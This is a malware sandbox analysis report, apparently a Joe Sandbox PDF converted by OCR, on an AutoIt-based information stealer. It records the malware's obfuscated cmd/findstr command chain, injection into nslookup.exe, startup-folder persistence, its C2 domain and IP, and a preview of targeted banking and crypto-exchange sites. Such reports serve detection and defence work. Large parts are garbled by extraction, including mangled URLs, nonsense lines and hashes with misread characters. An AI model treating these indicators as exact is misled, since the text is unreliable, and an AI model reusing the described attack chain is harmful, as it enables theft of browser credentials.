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Analysis Report WDnE51mua6.exe

Overview
General Information Detection Signatures Classification
Sample WDnE51mua6.exe
Name: Antivirus detection for URL or domain
Analysis ID: 383838 Multi AV Scanner, detection for subm...
MD5: . .
7€7012645cc3d6... Sigma detected: Drops script at star...
SHAL: 712fe21354098f3.. MALICIOUS : -
Submitted sample is a known malwa...
SHA256: df116f3585f1fe4b.. " — "
Contains functionality to register a lo...
Tags: exe
Creates processes via WMI
s B @t
E Drops PE files with a suspicious file...
Most interesting Screenshot: Injects a PE file into a foreign proce...
Machine Learning detection for samp...
Score: 100 Obfuscated command line found
Range: 0-100 Tries to harvest and steal browser in...
Whitelisted: false Uses nslookup.exe to guery. domains
Confidence: 100%

Uses ping.exe to check the status o...

Uses ping.exe to sleep

Startup

= System is w10x64

. tz WDnE51mua6.exe (PID: 3000 cmdline: 'C:\Users\user\Desktop\WDnE51mua6.exe' MD5: 7E7012645CC3D6D3572BB01891FBCEC1)
e B svchostexe (PID: 5744 cmdline: 'C:\Windows\System32\svchost.exe' MD5: FA6C268A5B5BDA067A901764D203D433)
cmd.exe (PID: 3908 cmdline: 'C:\Windows\System32\cmd.exe' /c CmD < Poi.vsd MD5: F3BDBE3BB6F734E357235F4D5898582D)
conhost.exe (PID: 724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
cmd.exe (PID: 5720 cmdline: CmD MD5: F3BDBE3BB6F734E357235F4D5898582D)
o B findstr.exe (PID: 4808 cmdline: findstr /V /R *nZwSZJdQSZwKBWJCtpbfZHNwzsXALugVPsbikcLGMITQMSJIGKUUtRoOHQkZmHLQyLLUVpnCdInRQPNW{BIsgQ
kprGKGWkWrUJtiyFXmiJDkGgaSrgkXZxBgABegmS$' Che.vsd MD5: 8B534A7FC0630DE41BB1F98C882C19EC)
. @ Gia.exe.com (PID: 2904 cmdline: Gia.exe.com D MD5: 78BA0653A340BAC5FF152B21A83626CC)
. @ Gia.exe.com (PID: 5596 cmdline: C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Gia.exe.com D MD5: 78BA0653A340BAC5FF152B21A83626CC)
e B nslookup.exe (PID: 6348 cmdline: C:\Windows\SysWOW64\nslookup.exe MD5: 8E82529D1475D67615ADCB4E1B8F4EEC)
e [ PING.EXE (PID: 5044 cmdline: ping 127.0.0.1 -n 30 MD5: 70C24A306F768936563ABDADBICA9108)
. i; wscript.exe (PID: 5868 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Roaming\zPgFgFUsML\WAYZgHgYEOdcYU.js' MD5:
9A68ADD12EB50DDE7586782C3EBIFFIC)
. @ juROhmfLml.exe.com (PID: 6204 cmdline: C:\Users\user\AppData\Roaming\zPgFgFUsML\juROhmfLml.exe.com C:\Users\user\AppData\Roaming\zPgFqFUsML\I MD5:

78BA0653A340BAC5FF152B21A83626CC)
@
L]

nslookup.exe (PID: 6552 cmdline: C:\Windows\SysWOW64\nslookup.exe MD5: 8E82529D1475D67615ADCB4E1B8F4EEC)

cmd.exe (PID: 5192 cmdline: cmd.exe /C ver > 'C:\Users\user\AppData\Local\Temp\chrCF8.tmp' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6048 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6308 cmdline: cmd.exe /C wmic process get Name > 'C:\Users\user\AppData\Local\Temp\chr1073.tmp' MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 6324 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

. jﬂ WMIC.exe (PID: 580 cmdline: wmic process get Name MD5: 79A01FCD1C8166C5642F37D1EOFB7BAS8)

cmd.exe (PID: 3624 cmdline: cmd /c makecab /V3 'C:\Users\user\AppData\Local\Temp\4624a8e10d6df3306e1dd46223b6b1968208dd49' 'C:\Users\user\AppData\Lo
cal\Temp\chr2302.tmp' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4188 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e [ makecab.exe (PID: 5036 cmdline: makecab /V3 'C:\Users\user\AppData\Local\Temp\4624a8e10d6df3306e1dd46223b6h1968208dd49' 'C:\Users\user\AppData
\Local\Temp\chr2302.tmp' MD5: DOD74264402D9F402615F22258330EC8)

= cleanup

Malware Configuration

No configs have been found
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Yara Overview

No yara matches

Sigma Overview

System Summary: | |

Sigma detected: Drops script at startup location

Signature Overview

@ AV Detection

® Compliance

@ Spreading

@ Networking

@ Key, Mouse, Clipboard, Microphone and Screen Capturing
@ System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

® Boot Survival

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion

@ Language, Device and Operating System Detection

@ Stealing of Sensitive Information

@ Remote Access Functionality

@

Click to jump to signature section

AV Detection:

]

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

‘]

System Summary:

=

Submitted sample is a known malware sample

Data Obfuscation:

‘]
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Persistence and Installation Behavior:

=

Malware Analysis System Evasion:

K

HIPS | PFW | Operating System Protection Evasion:

=

Stealing of Sensitive Information:

=

Mitre Att&ck Matrix
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Behavior Graph
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
WDnE51mua6.exe 42% Virustotal Browse
WDnE51mua6.exe 8% Metadefender Browse
WDnE51mua6.exe 65% ReversingLabs Win32.Trojan.Crypzip
WDnE51mua6.exe 100% Joe Sandbox ML

Dropped Files

Source Detection Scanner Label Link
C:\Users\user\AppData\Roaming\zPgFgFUsML\juROhmfLml.exe.com 3% Metadefender Browse
C:\Users\user\AppData\Roaming\zPgFqFUsML\juROhmfLml.exe.com 2% ReversingLabs

Unpacked PE Files

Source Detection Scanner Label Link Download
0.1.WDnE51mua6.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File
Domains

No Antivirus matches

URLs
Copyright Joe Security LLC 2021 Page 9 of 54


https://www.virustotal.com/gui/file/df116f3585f1fe4b00c351a2941f6b85565e1fcc6da5569c6f7c80ddd1b4e2a8/detection/f-df116f3585f1fe4b00c351a2941f6b85565e1fcc6da5569c6f7c80ddd1b4e2a8-1616983456
https://www.metadefender.com/#!/results/file/bzIxMDMyNlNVTW41NXBWdG1laVlaUHVLNzNP/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMDMxNWdSQU1JMlo5N0Z2dW05bzlTSms/regular/analysis

Source Detection Scanner Label Link

Rt i e e e P LG A |
[ TR e T N T R I
: T TR T

B E

hitp://https://banusdoret.topctionSettings 0% Avira URL Cloud safe
o Msmsdstopk G AwURced e
hitp://cps.letsencrypt.org0 0% URL Reputation safe
hitp://cps.letsencrypt.org0 0% URL Reputation safe
hitp://cps.letsencrypt.org0 0% URL Reputation safe

EY

p:f

E

E! IE1E E E [E E E
= © T = 4 8 T T
Sl L S S =

Ie}

el

12}

=

o

]

=

I

I

I

I

I
0% Avira URL Cloud  safe

N (T e L R

e [ R el o s
hitp://r3.i.lencr.org/O- 0% Avira URL Cloud safe

i wow  AwURCew pmg

= wow  AwURCew phg
hitp://r3.0.lencr.org0 0% URL Reputation safe
hitp://r3.0.lencr.org0 0% URL Reputation safe
hitp://r3.0.lencr.org0 0% URL Reputation safe

o MesmsdstoNs G AwURced e

o Wpsbesdeois a0 AweURCod e
hitp://cps.root-x1.letsencrypt.org0 0% URL Reputation safe
hitp://cps.root-x1.letsencrypt.org0 0% URL Reputation safe
hitp://cps.root-x1.letsencrypt.org0 0% URL Reputation safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
banusdoret.top 8.208.95.18 true false unknown
ZjZFqZYoOtpryMyR.zjZFqZYoOtpryMyR unknown unknown false unknown

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation

Avira URL Cloud: safe unknown

hitp://https://banusdoret.topctionSettings nslookup.exe, 00000010.0000000 false

3.567033832.0000000003BE2000.0

0000004.00000001.sdmp

i

hitp://cps.letsencrypt.org0 nslookup.exe, 00000010.0000000 false e URL Reputation: safe unknown
3.582514052.0000000003BB4000.0 e URL Reputation: safe
0000004.00000001.sdmp e URL Reputation: safe
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Source Malicious Antivirus Detection Reputation
hit

g
2 3

-

hitp://www.autoitscript.com/autoit3/X Gia.exe.com, 00000006.00000000 false
.354716969.0000000000985000.00
000002.00020000.sdmp, Gia.exe.com,
00000007.00000002.5028672
30.0000000000985000.00000002.0
0020000.sdmp, juROhmfLml.exe.com,
0000000C.00000002.52916248
4.00000000002F5000.00000002.00
020000.sdmp, Gia.exe.com.5.dr

high

-

-

-

-

hitp://https://www.autoitscript.com/autoit3/ Gia.exe.com, 00000007.00000003 false high
.481000705.0000000003800000.00
000004.00000001.sdmp, Gia.exe.
com.5.dr

hitp://cps.root nslookup.exe, 00000010.0000000 false e Avira URL Cloud: safe unknown
3.514415275.0000000003B97000.0
0000004.00000001.sdmp

I E

hitp://r3.i.lencr.org/O- nslookup.exe, 00000010.0000000 false e Avira URL Cloud: safe unknown
3.582514052.0000000003BB4000.0
0000004.00000001.sdmp

hitp://r3.0.lencr.org0 nslookup.exe, 00000010.0000000 false e URL Reputation: safe unknown
3.582514052.0000000003BB4000.0 ¢ URL Reputation: safe
0000004.00000001.sdmp e URL Reputation: safe

hitp://cps.root-x1.letsencrypt.org0 nslookup.exe, 00000010.0000000 false e URL Reputation: safe unknown
3.582514052.0000000003BB4000.0 e URL Reputation: safe
0000004.00000001.sdmp e URL Reputation: safe

Contacted IPs

Copyright Joe Security LLC 2021 Page 11 of 54



] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public

P Domain

8.208.95.18 banusdoret.top

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Copyright Joe Security LLC 2021

Country

Singapore

Flag

ASN
45102

ASN Name Malicious

CNNIC-ALIBABA-US-NET-  false
APAlibabaUSTechnologyCo
LtdC

31.0.0 Emerald
383838
08.04.2021
10:49:33
CloudBasic

Oh 13m 52s

false

light
WDnE51mua6.exe
default.jbs

Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8
Update 211

35

o O o o
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Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

10:50:40
10:50:41
10:50:52
10:51:53
10:51:59

Copyright Joe Security LLC 2021

Type

API Interceptor
Autostart

API Interceptor
API Interceptor

API Interceptor

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL
mal100.troj.spyw.evad.winEXE@35/26 @3/3
Failed

e Successful, ratio: 55.9% (good quality ratio 53.2%)
e Quality average: 86.4%
e Quality standard deviation: 24.4%

Failed

e Adjust boot time

e Enable AMSI

e Found application associated with file extension:
.exe

Show All

e Exclude process from analysis (whitelisted):
MpCmdRun.exe, BackgroundTransferHost.exe,
WMIADAP.exe, backgroundTaskHost.exe,
conhost.exe, svchost.exe

e TCP Packets have been reduced to 100

e Excluded IPs from analysis (whitelisted):
13.88.21.125, 104.43.139.144, 40.88.32.150,
13.64.90.137, 52.147.198.201, 20.82.210.154,
23.10.249.26, 23.10.249.43, 104.43.193.48,
95.100.54.203, 20.54.26.129, 23.54.113.53

e Excluded domains from analysis (whitelisted):
skypedataprdcolwus17.cloudapp.net,
arc.msn.com.nsatc.net, fs.microsoft.com, ris-
prod.trafficmanager.net, e1723.g.akamaiedge.net,
store-images.s-microsoft.com-c.edgekey.net,
skypedataprdcolcus16.cloudapp.net,
al449.dscg2.akamai.net, fs-
wildcard.microsoft.com.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, arc.msn.com,
skypedataprdcolcus15.cloudapp.net,
skypedataprdcoleus16.cloudapp.net,
ris.api.iris.microsoft.com,
skypedataprdcoleus15.cloudapp.net,
e12564.dspb.akamaiedge.net, store-images.s-
microsoft.com,
blobcollector.events.data.trafficmanager.net,
arc.trafficmanager.net,
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net,
prod.fs.microsoft.com.akadns.net,
skypedataprdcolwus15.cloudapp.net

e Report size exceeded maximum capacity and may
have missing behavior information.

e Report size exceeded maximum capacity and may
have missing disassembly code.

e Report size getting too big, too many
NtAllocateVirtualMemory calls found.

e Report size getting too big, too many
NtOpenKeyEx calls found.

e Report size getting too big, too many
NtProtectVirtualMemory calls found.

e Report size getting too big, too many
NtQueryValueKey calls found.

e Report size getting too big, too many
NtSetInformationFile calls found.

Description

1x Sleep call for process: Gia.exe.com modified

Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\juROhmfLml.url
1x Sleep call for process: juROhmfLml.exe.com modified

1x Sleep call for process: WMIC.exe modified

74x Sleep call for process: nslookup.exe modified
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Joe Sandbox View | Context

IPs

Match
8.208.95.18

Domains

Match

banusdoret.top

ASN

Match

CNNIC-ALIBABA-US-NET-
APAlibabaUSTechnologyCoLtdC

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

dolboeb17
01.com/bgc
ZXibj92HSI
SCK/util.php

dolboeb17
01.com/bgc
ZXibj92HSI
SCK/util.php

dolboeb17
01.com/bgc
ZXibj92HSI
SCK/util.php

dolboeb17
01.com/bgc
ZXibj92HSI
SCK/util.php

dolboeb17
01.com/bgc
ZXibj92HSI
SCK/util.php

dolboeb17
01.com/bgc
ZXibj92HSI
SCK/util.php

dolboeb17
01.com/bgc
ZXibj92HSI
SCK/util.php

Context

8.208.95.18
8.208.95.18
8.208.95.18
8.208.95.18
8.208.95.18
8.208.95.18

Context

8.211.4.209
8.211.4.209
8.208.95.92
8.209.67.151
8.211.4.209
8.211.4.209
8.211.4.209
8.211.4.209
8.211.4.209
8.211.4.209
8.211.4.209
8.211.4.209
8.209.67.151
8.211.4.209
8.211.4.209
8.211.4.209
8.211.4.209
47.244.190.114
8.208.95.18
47.91.72.80
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https://view.joesandbox.com/analysis/285105/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/285105/html/none?idtype=webid
https://view.joesandbox.com/analysis/285104/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/285104/html/none?idtype=webid
https://view.joesandbox.com/analysis/284894/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/284894/html/none?idtype=webid
https://view.joesandbox.com/analysis/284893/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/284893/html/none?idtype=webid
https://view.joesandbox.com/analysis/284887/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/284887/html/none?idtype=webid
https://view.joesandbox.com/analysis/284886/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/284886/html/none?idtype=webid
https://view.joesandbox.com/analysis/284804/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/284804/html/none?idtype=webid
https://view.joesandbox.com/analysis/286873/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/286873/html/none?idtype=webid
https://view.joesandbox.com/analysis/285866/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/285866/html/none?idtype=webid
https://view.joesandbox.com/analysis/285864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/285864/html/none?idtype=webid
https://view.joesandbox.com/analysis/285837/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/285837/html/none?idtype=webid
https://view.joesandbox.com/analysis/285835/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/285835/html/none?idtype=webid
https://view.joesandbox.com/analysis/281146/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/281146/html/none?idtype=webid
https://view.joesandbox.com/analysis/291446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291446/html/none?idtype=webid
https://view.joesandbox.com/analysis/291229/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291229/html/none?idtype=webid
https://view.joesandbox.com/analysis/291185/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291185/html/none?idtype=webid
https://view.joesandbox.com/analysis/291141/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291141/html/none?idtype=webid
https://view.joesandbox.com/analysis/291059/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291059/html/none?idtype=webid
https://view.joesandbox.com/analysis/291051/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291051/html/none?idtype=webid
https://view.joesandbox.com/analysis/291050/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291050/html/none?idtype=webid
https://view.joesandbox.com/analysis/291047/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291047/html/none?idtype=webid
https://view.joesandbox.com/analysis/291044/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291044/html/none?idtype=webid
https://view.joesandbox.com/analysis/291042/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291042/html/none?idtype=webid
https://view.joesandbox.com/analysis/291040/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291040/html/none?idtype=webid
https://view.joesandbox.com/analysis/291036/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291036/html/none?idtype=webid
https://view.joesandbox.com/analysis/290089/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290089/html/none?idtype=webid
https://view.joesandbox.com/analysis/289327/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/289327/html/none?idtype=webid
https://view.joesandbox.com/analysis/289320/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/289320/html/none?idtype=webid
https://view.joesandbox.com/analysis/289222/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/289222/html/none?idtype=webid
https://view.joesandbox.com/analysis/289215/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/289215/html/none?idtype=webid
https://view.joesandbox.com/analysis/288071/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288071/html/none?idtype=webid
https://view.joesandbox.com/analysis/286873/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/286873/html/none?idtype=webid
https://view.joesandbox.com/analysis/286857/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/286857/html/none?idtype=webid

JA3 Fingerprints

Match
37f463bf4616ecd445d4a1937da06e19

Dropped Files

Match

C:\Users\user\AppData\Roaming\zPgFq
FUsML\jJuROhmfLml.exe.com

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

> >
/] /]
173 173
o o
2, 2,
2 2
@ @
o o
7] (7]
2 2
3 3
i i
) )
2 2
o o
3 3
® ®
c c
A A
[l [l

Created / dropped Files

C:\Users\luser\AppData\Local\Temp\4624a8e10d6df3306e1dd46223b6b1968208dd49

Process: C:\Windows\SysWOW64\nslookup.exe

File Type: data

Category: dropped

Size (bytes): 23428

Entropy (8bit): 7.662543821371996

Encrypted: false

SSDEEP: 384:h3Bm2JdLVjjNvWdQg8ZztS13wr7ULINVp7PqCxWG41BBnzz9dV:hxm2JdBjFgtlwr70VpjqQsX39dV
MD5: BB3C81F14AF24C10C2ED43996409795A

SHAL: 1257FF605B3BC8E2FCOF28195481DD8A74DDACOD

Copyright Joe Security LLC 2021

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

8.208.95.18
8.208.95.18
8.208.95.18
8.208.95.18
8.208.95.18
8.208.95.18
8.208.95.18
8.208.95.18
8.208.95.18
8.208.95.18
8.208.95.18

8.208.95.18

8.208.95.18
8.208.95.18
8.208.95.18
8.208.95.18
8.208.95.18
8.208.95.18
8.208.95.18
8.208.95.18

Context
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https://view.joesandbox.com/analysis/291947/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291947/html/none?idtype=webid
https://view.joesandbox.com/analysis/291940/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291940/html/none?idtype=webid
https://view.joesandbox.com/analysis/291939/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291939/html/none?idtype=webid
https://view.joesandbox.com/analysis/291937/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291937/html/none?idtype=webid
https://view.joesandbox.com/analysis/291861/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291861/html/none?idtype=webid
https://view.joesandbox.com/analysis/291850/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291850/html/none?idtype=webid
https://view.joesandbox.com/analysis/291829/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291829/html/none?idtype=webid
https://view.joesandbox.com/analysis/291708/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291708/html/none?idtype=webid
https://view.joesandbox.com/analysis/291688/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291688/html/none?idtype=webid
https://view.joesandbox.com/analysis/291685/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291685/html/none?idtype=webid
https://view.joesandbox.com/analysis/291645/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291645/html/none?idtype=webid
https://view.joesandbox.com/analysis/291522/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291522/html/none?idtype=webid
https://view.joesandbox.com/analysis/291509/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291509/html/none?idtype=webid
https://view.joesandbox.com/analysis/291490/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291490/html/none?idtype=webid
https://view.joesandbox.com/analysis/291476/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291476/html/none?idtype=webid
https://view.joesandbox.com/analysis/291405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291405/html/none?idtype=webid
https://view.joesandbox.com/analysis/291392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291392/html/none?idtype=webid
https://view.joesandbox.com/analysis/291385/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291385/html/none?idtype=webid
https://view.joesandbox.com/analysis/291381/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291381/html/none?idtype=webid
https://view.joesandbox.com/analysis/291372/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291372/html/none?idtype=webid
https://view.joesandbox.com/analysis/286873/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/286873/html/none?idtype=webid
https://view.joesandbox.com/analysis/285866/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/285866/html/none?idtype=webid
https://view.joesandbox.com/analysis/285864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/285864/html/none?idtype=webid
https://view.joesandbox.com/analysis/285837/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/285837/html/none?idtype=webid
https://view.joesandbox.com/analysis/285835/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/285835/html/none?idtype=webid
https://view.joesandbox.com/analysis/281585/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/281585/html/none?idtype=webid
https://view.joesandbox.com/analysis/281164/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/281164/html/none?idtype=webid
https://view.joesandbox.com/analysis/281151/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/281151/html/none?idtype=webid
https://view.joesandbox.com/analysis/281146/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/281146/html/none?idtype=webid
https://view.joesandbox.com/analysis/280045/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/280045/html/none?idtype=webid
https://view.joesandbox.com/analysis/280038/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/280038/html/none?idtype=webid
https://view.joesandbox.com/analysis/278442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/278442/html/none?idtype=webid
https://view.joesandbox.com/analysis/278387/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/278387/html/none?idtype=webid
https://view.joesandbox.com/analysis/278358/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/278358/html/none?idtype=webid
https://view.joesandbox.com/analysis/276214/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/276214/html/none?idtype=webid
https://view.joesandbox.com/analysis/275497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/275497/html/none?idtype=webid
https://view.joesandbox.com/analysis/268080/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/268080/html/none?idtype=webid
https://view.joesandbox.com/analysis/256071/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256071/html/none?idtype=webid
https://view.joesandbox.com/analysis/253677/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253677/html/none?idtype=webid
https://view.joesandbox.com/analysis/253328/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253328/html/none?idtype=webid

C:\Users\luser\AppData\Local\Temp\4624a8e10d6df3306e1dd46223b6b1968208dd49

SHA-256:
SHA-512:

Malicious:

Preview:

C5407A1C6D5882DC61DODICFAGBF4DSAOESDF1C1C25DDB1B23BF7804236A2960

3724A15D91DA9315133FA18CDBDF75CCDEEE624A962E63375AFABB99CA3A855B44CE9787687E4CE7EEOFFEE1BDBD0BD82192B504D6C07EB43D3D570564E16
2D

false

0","achievacu.com": "0","aflcioefcu.org™": "0","

1 "0"},"urls": {"53.com™: "0","SchoolsFirstFCU.org": "0","SouthlandCU.org": "0
'0","alliantcreditunion.org™: "0","altabank.com ": "0","alterna.ca": "0","amazon.com": "0","americafirst.com": "0","americanexpress.com": "0","apcifcu.org ":
arsenalcu.com™: "0","ascend.or! J"ascu.org ": "0","asurion.com": "0","att.com "bankofamerica.com": "0","bankofthewest.com
"0","becu.org": "0","bestbay.com": "0","bestbuy.com": "0","big.one": "0","biki.com": "0","bilaxy.com": "0","binance.com": "0","binance.us": "0","bitbank.cc": "
"0","bitfinex.com": "0","bitflyer.com": "0","bithumb.com": "0","bithumb.pro": "0","bitkub.com™: "0","bitmax.io": "0","bitmex.com": "0","bitopro.com":

"abesofmaine.com"

alaskausa.org":
"0","apple.com

C:\Users\user\AppData\Local\Temp\cab_5036_2

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\makecab.exe

data

dropped

1819

7.894468236667479

false

48:3YUJIFOQjN/IHrNeHOrRIRFCMHc2QvVGQc:CwfoQjheH8KHC1Vi
CFAF155E352CF3168AAFB3E2F147C54E
7404C60D379CDFB21F2E28AC02E3E8C6B2EAELD6
OED4FFOE634BE10A9001EEBC4A49911997410967E96B33144A34AF56F5000C2E

6D7ECD4B91210EEOBFE4AF8BCDEECFBFAG863F61CFBCC8D403C97C2A20D10510DA54BA0161C74FB5451A0AEF669EES7C261D24EDOBAE4D3286AB0813B843|
B7

false

£ ~{'v.}t..P&...Z..Uf.Jon.. &
£.&Y9...\H...=K.PQ..F.R#...(SH.[..Y.5]6b.68.z...5.B:...N.......)...
3W.b......... M.|.e.....N..K.}nd..r..........0.f..*chV5.").%IE.U...$S #Q.rT.0...".....d)J9.b.LLE./.I_ION'i[EA..b."..Pupq..~....?-.D...0...}.y]...j."..5.c.S.S\@{ X........ #r>.. k.i/...Gv.3...
